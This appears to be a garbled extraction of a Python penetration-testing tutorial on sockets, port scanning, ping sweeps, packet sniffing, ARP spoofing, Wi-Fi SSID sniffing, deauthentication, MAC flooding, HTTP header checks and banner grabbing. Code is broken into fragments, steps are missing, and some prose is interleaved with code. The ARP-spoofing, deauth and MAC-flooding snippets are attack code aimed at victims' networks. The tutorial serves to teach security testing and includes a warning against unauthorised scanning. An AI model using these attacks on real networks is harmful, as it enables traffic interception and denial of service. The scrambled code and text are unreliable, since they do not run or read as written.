Python Socket Programming
Python Socket Programming
Domain
Domain is the family of protocols that is used as the transport mechanism. These values
are constants such as AF_INET, PF_INET, PF_UNIX, PF_X25, and so on.
Type
Type means the kind of communication between two endpoints, typically SOCK_STREAM for
connection-oriented protocols and SOCK_DGRAM for connectionless protocols.
Protocol
This may be used to identify a variant of a protocol within a domain and type. Its default value is
0. This is usually left out.
Hostname
This works as the identifier of a network interface. A hostname nay be a string, a dotted- quad
address, or an IPV6 address in colon (and possibly dot) notation.
Port
Each server listens for clients calling on one or more ports. A port may be a Fixnum port number,
a string containing a port number, or the name of a service.
Python’s Socket Module for Socket Programming
To implement socket programming in python, we need to use the Socket module. Following is a
simple syntax to create a Socket:
import socket
s = [Link] (socket_family, socket_type, protocol = 0)
Here, we need to import the socket library and then make a simple socket. Following
are the different parameters used while making socket:
socket_family − This is either AF_UNIX or AF_INET, as explained earlier.
[Link](): This method basically listens to the connections made to the socket. It
starts TCP listener. Backlog is an argument of this method which specifies the maximum
number
[Link](): This will accept TCP client connection. The pair (conn, address) is the
return value pair of this method. Here, conn is a new socket object used to send and
receive data on the connection and address is the address bound to the socket. Before
using this method, the [Link]() and [Link]() method must be used.
Client Socket Methods
The client in the client-server architecture requests the server and receives services from the
server. For this, there is only one method dedicated for clients:
[Link](address): this method actively intimate server connection or in simple
words this method connects the client to the server. The argument address represents the
address of the server.
[Link](data): This method sends all the data to the socket which is connected to
a remote machine. It will carelessly transfers the data until an error occurs and if it
happens then it uses [Link]() method to close the socket.
import
socket
def
Main():
host
=
sock
et.g
etho
stna
me()
port
=
1234
5
serversocket =
[Link]()
print("Got connection from %s" %
str(addr)) msg = 'Connecting
Established'+ "\r\n"
[Link]([Link]('ascii
')) [Link]()
if name == ' main ':
Main()
Client-side program
In the client-side socket program, we need to make a socket object. Then we will connect
to the port on which our server is running — 12345 in our example. After that we will
establish a connection by using the [Link]() method. Then by using the
[Link]() method, the client will receive the message from server. At last, the
[Link]() method will close the client.
import socket
s = [Link](socket.AF_INET,
socket.SOCK_STREAM) host =
[Link]()
port = 12345
[Link]((host,
port)) msg =
[Link](1024)
[Link]()
print
([Link]('ascii'
Now, after running the server-side program we will get the following output on terminal:
socket is listening
Got connection from ('[Link]', 49904)
And after running the client-side program, we will get the following output on other terminal:
Connection Established
import socket
host = "[Link]"
port = 12345
s = [Link](socket.AF_INET,
socket.SOCK_DGRAM) try:
[Link]((host,port
))
[Link](3)
data, addr =
[Link](1024)
print ("recevied from
",addr) print ("obtained
", data) [Link]()
except [Link] :
Output
The above program generates the following output:
No connection between client and server
In the above script, first we made a socket object. This was followed by providing the host IP address and port
number on which our server is running — 12345 in our example. Later, the try block is used and inside it by using
the [Link]() method, we will try to bind the IP address and port. We are using [Link]() method
for setting the wait time for client, in our example we are setting 3 seconds. The except block is used which will
print a message if the connection will not be established between server and client.
5. Python Penetration Testing —
Python
Network Scanner
Port scanning may be defined as a surveillance technique, which is used in order to
locate the open ports available on a particular host. Network administrator,
penetration tester or a hacker can use this technique. We can configure the port
scanner according to our requirements to get maximum information from the target
system.
Now, consider the information we can get after running the port scan:
Information about open ports.
Information about the services running on each port.
Information about OS and MAC address of the target host.
Port scanning is just like a thief who wants to enter into a house by checking every
door and window to see which ones are open. As discussed earlier, TCP/IP protocol
suite, use for communication over internet, is made up of two protocols namely TCP
and UDP. Both of the protocols have 0 to 65535 ports. As it always advisable to close
unnecessary ports of our system hence essentially, there are more than 65000 doors
(ports) to lock. These 65535 ports can be divided into the following three ranges:
System or well-known ports: from 0 to 1023
User or registered ports: from 1024 to 49151
Dynamic or private ports: all > 49151
if name == '
main ':
target = input('Enter the host to be
scanned: ') t_IP = gethostbyname(target)
print ('Starting scan on host: ', t_IP)
When we run the above script, it will prompt for the hostname, you can provide any
hostname like name of any website but be careful because port scanning can be seen as, or
construed as, a crime. We should never execute a port scanner against any website or IP
address without explicit, written permission from the owner of the server or computer that
you are targeting. Port scanning is akin to going to someone’s house and checking their
doors and windows. That is why it is advisable to use port scanner on localhost or your own
website (if any).
Output
The above script generates the following output:
The above process of sending ICMP request is also called ping scan, which is provided
by the operating system’s ping command.
Concept of Ping Sweep
Actually in one or other sense, ping sweep is also known as ping sweeping. The only
difference is that ping sweeping is the procedure to find more than one machine
availability in specific network range. For example, suppose we want to test a full list of IP
addresses then by using the ping scan, i.e., ping command of operating system it would
be very time consuming to scan IP addresses one by one. That is why we need to use
ping sweep script. Following is a Python script for finding live hosts by using the ping
sweep:
import os
import
platform
from datetime
import
datetime
oper =
[Link]() if
(oper=="Windows"):
ping1 = "ping -n 1
" elif (oper==
"Linux"):
ping1 = "ping -c 1
" else :
ping1 = "ping
-c 1 "
t1= [Link]()
print ("Scanning in
Progress:")
for ip in
range(st1,en1):
addr =
net2+str(ip
) comm =
ping1+addr
response =
[Link](co
mm)
for line in
[Link]
ines():
if([Link](
"TTL")):
break
if
([Link]("T
TL")):
print (addr,
"--> Live")
t2=
print ("Scanning completed in: ",total)
The above script works in three parts. It first selects the range of IP address to ping sweep scan by splitting it into
parts. This is followed by using the function, which will select command for ping sweeping according to the operating
system, and last it is giving the response about the host and time taken for completing the scanning process.
Output
The above script generates the following output:
The above output is showing no live ports because the firewall is on and ICMP inbound settings are disabled too. After
changing these settings, we can get the list of live ports in the range from 1 to 100 provided in the output.
t1=
[Link]()
def scan(addr):
s=
[Link](socket.AF_INET,socket.SOCK_STREAM
) [Link](1)
result =
s.connect_ex((addr,135)) if
result==0:
return 1
else :
r
e
t
u
r
n
0
def run1():
for
ip in
range
(st1,
en1):
The above script works in three parts. It selects the range of IP address to ping sweep scan by splitting it into parts.
This is followed by using a function for scanning the address, which further uses the socket. Later, it gives the
response about the host and time taken for completing the scanning process. The result = s. connect_ex((addr,135))
statement returns an error indicator. The error indicator is 0 if the operation succeeds, otherwise, it is the value of
the errno variable. Here, we used port 135; this scanner works for the Windows system. Another port which will work
here is 445 (Microsoft-DSActive Directory) and is usually open.
Output
The above script generates the following output:
[Link] is live
[Link] is live
[Link] is live
[Link] is live
[Link] is live
[Link] is live
[Link] is live
Scanning completed in: 0:00:00.230025
Threaded Port Scanner for increasing efficiency
As we have seen in the above cases, port scanning can be very slow. For example, you can
see the time taken for scanning ports from 50 to 500, while using socket port scanner, is
452.3990001678467. To improve the speed we can use threading. Following is an example
of port scanner using threading:
import socket
import time
import threading
from queue
import Queue
[Link](0.2
5) print_lock =
[Link]()
def portscan(port):
s = [Link](socket.AF_INET,
socket.SOCK_STREAM) try:
con = [Link]((t_IP,
port)) with print_lock:
print(port, 'is
open') [Link]()
def threader():
while True:
worker = [Link]()
portscan(wor
ker)
q.task_done(
)
q = Queue()
startTime =
[Link]()
for x in
range(100):
t =
[Link](target=thre
ader) [Link] = True
[Link]()
for worker in
range(1, 500):
[Link](worker)
[Link]()
In the above script, we need to import the threading module, which is inbuilt in the Python
package. We are using the thread locking concept, thread_lock = [Link]() to
avoid multiple modification at a time. Basically, [Link]() will allow single thread to
access the variable at a time. Hence, no double modification occurs.
Later, we define one threader() function that will fetch the work (port) from the worker for
loop. Then the portscan() method is called to connect to the port and print the result. The
port number is passed as parameter. Once the task is completed the q.task_done() method
is called.
Now after running the above script, we can see the difference in speed for scanning 50 to
500 ports. It only took 1.3589999675750732 seconds, which is very less than
452.3990001678467, time taken by socket port scanner for scanning the same number of
ports of localhost.
Output
The above script generates the following output:
Enter the host to be scanned: localhost
Starting scan on host:[Link]
135 is open
445 is open
Time taken: 1.3589999675750732
6. Python Penetration Testing —
Network
Packet Sniffing
Sniffing or network packet sniffing is the process of monitoring and capturing all
the packets passing through a given network using sniffing tools. It is a form
wherein, we can “tap phone wires” and get to know the conversation. It is also
called wiretapping and can be applied to the computer networks.
There is so much possibility that if a set of enterprise switch ports is open, then
one of their employees can sniff the whole traffic of the network. Anyone in the
same physical location can plug into the network using Ethernet cable or connect
wirelessly to that network and sniff the total traffic.
In other words, Sniffing allows you to see all sorts of traffic, both protected and
unprotected. In the right conditions and with the right protocols in place, an
attacking party may be able to gather information that can be used for further
attacks or to cause other issues for the network or system owner.
What can be sniffed?
One can sniff the following sensitive information from a network −
● Email traffic
● FTP passwords
● Web traffics
● Telnet passwords
● Router configuration
● Chat sessions
● DNS traffic
How does sniffing work?
A sniffer normally turns the NIC of the system to the promiscuous mode so that it
listens to all the data transmitted on its segment.
The promiscuous mode refers to the unique way of Ethernet hardware, in particular,
network interface cards (NICs), that allows an NIC to receive all traffic on the network,
even if it is not addressed to this NIC. By default, an NIC ignores all traffic that is not
addressed to it, which is done by comparing the destination address of the Ethernet
packet with the hardware address (MAC) of the device. While this makes perfect
sense for networking, non-promiscuous mode makes it difficult to use network
monitoring and analysis software for diagnosing connectivity issues or traffic
accounting.
A sniffer can continuously monitor all the traffic to a computer through the NIC by
decoding the information encapsulated in the data packets.
Types of Sniffing
Sniffing can be either Active or Passive in nature. We will now learn about the different types
of sniffing.
Passive Sniffing
In passive sniffing, the traffic is locked but it is not altered in any way. Passive sniffing allows
listening only. It works with the Hub devices. On a hub device, the traffic is sent to all the
ports. In a network that uses hubs to connect systems, all hosts on the network can see the
traffic. Therefore, an attacker can easily capture traffic going through.
The good news is that hubs have almost become obsolete in recent times. Most modern
networks use switches. Hence, passive sniffing is no more effective.
Active Sniffing
In active sniffing, the traffic is not only locked and monitored, but it may also be altered in
some way as determined by the attack. Active sniffing is used to sniff a switch-based
network. It involves injecting address resolution packets (ARP) into a target network to flood
on the switch content addressable memory (CAM) table. CAM keeps track of which host is
connected to which port.
Following are the Active Sniffing Techniques −
MAC Flooding
DHCP Attacks
DNS Poisoning
Spoofing Attacks
ARP Poisoning
HTTP
It is used to send information in clear text without any encryption and thus a real target.
Telnet
Telnet sends everything (usernames, passwords, keystrokes) over the network as clear text and
hence, it can be easily sniffed.
Sniffers are not the dumb utilities that allow you to view only live traffic. If you really want to
analyze each packet, save the capture and review it whenever time allows.
Implementation using Python
Before implementing the raw socket sniffer, let us understand the struct method as described below:
[Link](fmt, a1,a2,…)
As the name suggests, this method is used to return the string, which is packed according to the given
format. The string contains the values a1, a2 and so on.
[Link](fmt, string)
As the name suggests, this method unpacks the string according to a given format.
In the following example of raw socket sniffer IP header, which is the next 20 bytes in the packet and among
these 20 bytes we are interested in the last 8 bytes. The latter bytes show if the source and destination IP
address are parsing:
import socket
import
struct
import
Now, we will create a
binascii socket, which will have three parameters. The first parameter tells us
about the packet interface — PF_PACKET for Linux specific and AF_INET for windows; the second
parameter tells us that it is a raw socket and the third parameter tells us about the protocol we
are interested in —0x0800 used for IP protocol.
s = [Link](socket.AF_INET, socket.SOCK_RAW, socket.
htons(0x0800))
while True:
packet = [Link](2048)
With the following line of code, we are parsing and unpacking the header with the struct
method:
The following line of code will return a tuple with three hex values, converted by hexify
in the binascii module:
ipheader = pkt[0][14:34]
ip_header = [Link]("!12s4s4s", ipheader)
print "Source IP:" + socket.inet_ntoa(ip_header[1]) + " Destination
socket.inet_ntoa(ip_header[2])
Working of ARP
In this section, we will learn about the working of ARP. Consider the following steps to
understand how ARP works:
Step 1: First, when a machine wants to communicate with another it must look up to
its ARP table for physical address.
Step 2: If it finds the physical address of the machine, the packet after converting to
its right length, will be sent to the desired machine.
Step 3: But if no entry is found for the IP address in the table, the ARP_request will be
broadcast over the network.
Step 4: Now, all the machines on the network will compare the broadcasted IP address to
MAC address and if any of the machines in the network identifies the address, it will
respond to the ARP_request along with its IP and MAC address. Such ARP message is
called ARP_reply.
Step 5: At last, the machine that sends the request will store the address pair in its ARP
table and the whole communication will take place.
Now, the ARP table would be flooded with spoofed ARP responses, so that the
attackers can sniff all network packets.
Implementation using Python
In this section, we will understand Python implementation of ARP spoofing. For this, we need three MAC
addresses — first of the victim, second of the attacker and third of the gateway. Along with that, we also
need to use the code of ARP protocol.
Let us import the required modules as follows:
import socket import struct
import binascii
Now, we will create a socket, which will have three parameters. The first parameter tells
us about the packet interface (PF_PACKET for Linux specific and AF_INET for windows),
the second parameter tells us if it is a raw socket and the third parameter tells us about
the protocol we are interested in (here 0x0800 used for IP protocol).
s = [Link](socket.AF_INET, socket.SOCK_RAW, socket.
htons(0x0800)) [Link](("eth0",[Link](0x0800)))
We will now provide the mac address of attacker, victim and gateway machine:
attckrmac = '\x00\x0c\x29\x4f\x8e\x76' victimmac ='\
x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'
We need to give the code of ARP protocol as shown:
code ='\x08\x06'
Two Ethernet packets, one for victim machine and another for gateway machine have been crafted as
follows:
ethernet1 = victimmac+attckmac+code ethernet2 = gatewaymac+
attckmac +code
The following lines of code are in order as per accordance with the ARP header:
Now we need to give the IP addresses of the gateway machine and victim machines (Let us assume we
have following IP addresses for gateway and victim machines):
gateway_ip = '[Link]'
victim_ip = '[Link]'
Convert the above IP addresses to hexadecimal format with the help of the
socket.inet_aton() method.
Execute the following line of code to change the IP address of gateway machine.
We already know that two machines use ARP packets to exchange MAC addresses hence after step 3, we
can run the following command on the target machine to see the ARP cache:
arp -n
Step 5: Creation of ARP packet using Scapy
We can create ARP packets with the help of Scapy as follows:
scapy
arp_packt = ARP() arp_packt.display()
Now if we will again check ARP cache on target machine then we will see the fake address ‘[Link]’.
8. Python Penetration Testing —
Pentesting of
Wireless Network
Wireless systems come with a lot of flexibility but on the other hand, it leads to serious
security issues too. And, how does this become a serious security issue — because
attackers, in case of wireless connectivity, just need to have the availability of signal to
attack rather than have the physical access as in case of wired network. Penetration
testing of the wireless systems is an easier task than doing that on the wired network.
We cannot really apply good physical security measures against a wireless medium, if
we are located close enough, we would be able to "hear" (or at least your wireless
adapter is able to hear) everything, that is flowing over the air.
Prerequisites
Before we get down with learning more about pentesting of wireless network, let us
consider discussing terminologies and the process of communication between the client
and the wireless system.
Important Terminologies
Let us now learn the important terminologies related to pentesting of wireless network.
Following is the raw socket method, Python script, which will give us the SSID of the AP:
First of all we need to import the socket modules as follows:
import socket
Now, we will create a socket that will have three parameters. The first parameter tells us about the
packet interface (PF_PACKET for Linux specific and AF_INET for windows), the second parameter tells us
if it is a raw socket and the third parameter tells us that we are interested in all packets.
Now, we need to declare an empty list, which will store the SSID of APs.
ap_list = []
Now, we need to call the recvfrom() method to receive the packet. For the sniffing to
continue, we will use the infinite while loop.
while True:
packet = [Link](2048)
The next line of code shows if the frame is of 8 bits indicating the beacon
frame.
if packet[26] == "\x80" :
if packetkt[36:42] not in
ap_list and
ord(packetkt[63]) > 0:
ap_list.add(packetkt[36:42])
print("SSID:",
(pkt[64:64+ord(pkt[63])],pkt[36:42].en
code('hex')))
SSID sniffer with Scapy
Scapy is one of the best libraries that can allow us to easily sniff Wi-Fi packets. You can learn
Scapy in detail at [Link] To begin with, run Sacpy in interactive
mode and use the command conf to get the value of iface. The default interface is eth0. Now as
we have the dome above, we need to change this mode to mon0. It can be done as follows:
Let us now import Scapy as a library. Further, the execution of the following Python script will give us the SSID:
Now, we need to declare an empty list which will store the SSID of APs.
ap_list = []
Now we are going to define a function named Packet_info(), which will have the complete packet parsing logic. It will have
the argument pkt.
def Packet_info(pkt) :
In the next statement, we will apply a filter which will pass only Dot11 traffic which means
802.11 traffic. The line that follows is also a filter, which passes the traffic having frame type 0 (represents management
frame) and frame subtype is 8 (represents beacon frame).
if [Link](Dot11) :
if (([Link] == 0) & ([Link] == 8)) : if pkt.addr2 not in ap_list :
Now, the sniff function will sniff the data with iface value mon0 (for wireless packets) and invoke the Packet_info
function.
sniff(iface="mon0", prn = Packet_info)
For implementing the above Python scripts, we need Wi-Fi card that is capable of sniffing the air using the monitor mode.
probe_list = []
if
[Link](Dot11Prob
eReq) : client_name =
[Link]
if client_name == ap_name :
if pkt.addr2 not in
Probe_info:
Print(“New Probe request--”,
client_name) Print(“MAC is
--”, pkt.addr2)
Probe_list.append(pkt.addr2)
sniff(iface="mon0", prn =
Probe_info)
Wireless Attacks
From the perspective of a pentester, it is very important to understand how a wireless attack takes place. In this section,
we will discuss two kinds of wireless attacks:
The de-authentication (deauth) attacks
Following two statements will input the MAC address of AP and victim respectively.
The next line of code represents the total number of packets sent; here it is 500 and the interval between
two packets.
sendp(frame, iface="mon0", count= 500, inter= .1)
Output
Upon execution, the above command generates the following output:
Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)
This is followed by the creation of the deauth frame , which is thereby sent to access point on behalf of the client. This will
make the connection between them cancelled.
The question here is how do we detect the deauth attack with Python script. Execution of the following Python script will help
in detecting such attacks:
In the above script, the statement [Link]==12 indicates the deauth frame and the variable I which is globally defined tells about
the number of packets.
Output
The execution of the above script generates the following output:
def
generate_packet
s():
packet_list =
[]
for i in xrange(1,1000):
packet=Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),d
st=RandIP()) packet_list.append(packet)
return packet_list
def cam_overflow(packet_list):
sendp(packet_list, iface='wlan')
The main aim of this kind of attack is to check the security of the switch. We need to use port security if want to make
the effect of the MAC flooding attack lessen.
9. Python Penetration Testing —
Application
Layer
Web applications and web servers are critical to our online presence and the attacks observed
against them constitute more than 70% of the total attacks attempted on the Internet. These
attacks attempt to convert trusted websites into malicious ones. Due to this reason, web
server and web application pen testing plays an important role.
import requests
After importing the requests library, create an array of HTTP methods, which we are going to send. We will
make use of some standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard
method ‘TEST’ to check how a web server can handle the unexpected input.
The following line of code is the main loop of the script, which will send the HTTP packets to the web server
and print the method and the status code.
for method in method_list:
req = [Link](method, 'Enter the URL’) print (method,
req.status_code, [Link])
The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method.
After running the above script for a particular web server, we will get 200 OK responses for a particular method
accepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once
we send the TRACE method for testing cross site tracing (XST), we will get 405 Not Allowed responses from the web
server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’.
import requests
request = [Link]('enter the URL')
Next, we will generate a list of headers about which you need the information.
header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', ‘Connection’,
‘Content-Length’]
Next is a try and except block.
for header in header_list: try:
result = request.header_list[header] print ('%s: %s' % (header, result))
except Exception as err:
print ('%s: No Details Found' % header)
After running the above script for a particular web server, we will get the information about
the headers provided in the header list. If there will be no information for a particular header
then it will give the message ‘No Details Found’. You can also learn more about HTTP_header
fields from the link —
[Link]
urls = open("[Link]",
"r") for url in urls:
url = [Link]()
req = [Link](url)
print (url,
'report:') try:
protection_xss = [Link]['X-XSS-
Protection'] if protection_xss != '1;
mode=block':
print ('X-XSS-Protection not set properly, it
may be possible:', protection_xss)
except:
print ('X-XSS-Protection not set, it
may be possible')
try:
options_content_type = [Link]['X-
Content-Type-Options'] if options_content_type !=
'nosniff':
print ('X-Content-Type-Options not set
properly:', options_content_type)
except:
print ('X-Content-Type-Options not
set')
try:
transport_security = [Link]['Strict-Transport-
Security'] except:
print ('HSTS header not set properly, Man in the
middle attacks is
possible')
try:
print ('Content-Security-Policy missing')
Following two lines will print the title name with tags and without tags respectively.
print soup_object.title print soup_object.[Link]
The line of code shown below will save all the hyperlinks.
for link in soup_object.find_all('a'):
print([Link]('href'))
Banner grabbing
Banner is like a text message that contains information about the server and banner grabbing is the
process of fetching that information provided by the banner itself. Now, we need to know how this
banner is generated. It is generated by the header of the packet that is sent. And while the client tries to
connect to a port, the server responds because the header contains information about the server.
The following Python script helps grab the banner using socket programming:
import socket
name: "))
targetport = int(raw_input("Enter
Port: "))
[Link]((targethost,targetport))
def garb(s:)
try:
[Link]('GET HTTP/1.1 \
r\n') ret =
[Link](1024) print
('[+]' + str(ret))
return
except Exception as error:
After running
print the above
('[-]' script, we
Not information will get+ similar kind of information about headers as we got from the
grabbed:'
Python script of footprinting
str(error)) return of HTTP headers in the previous section.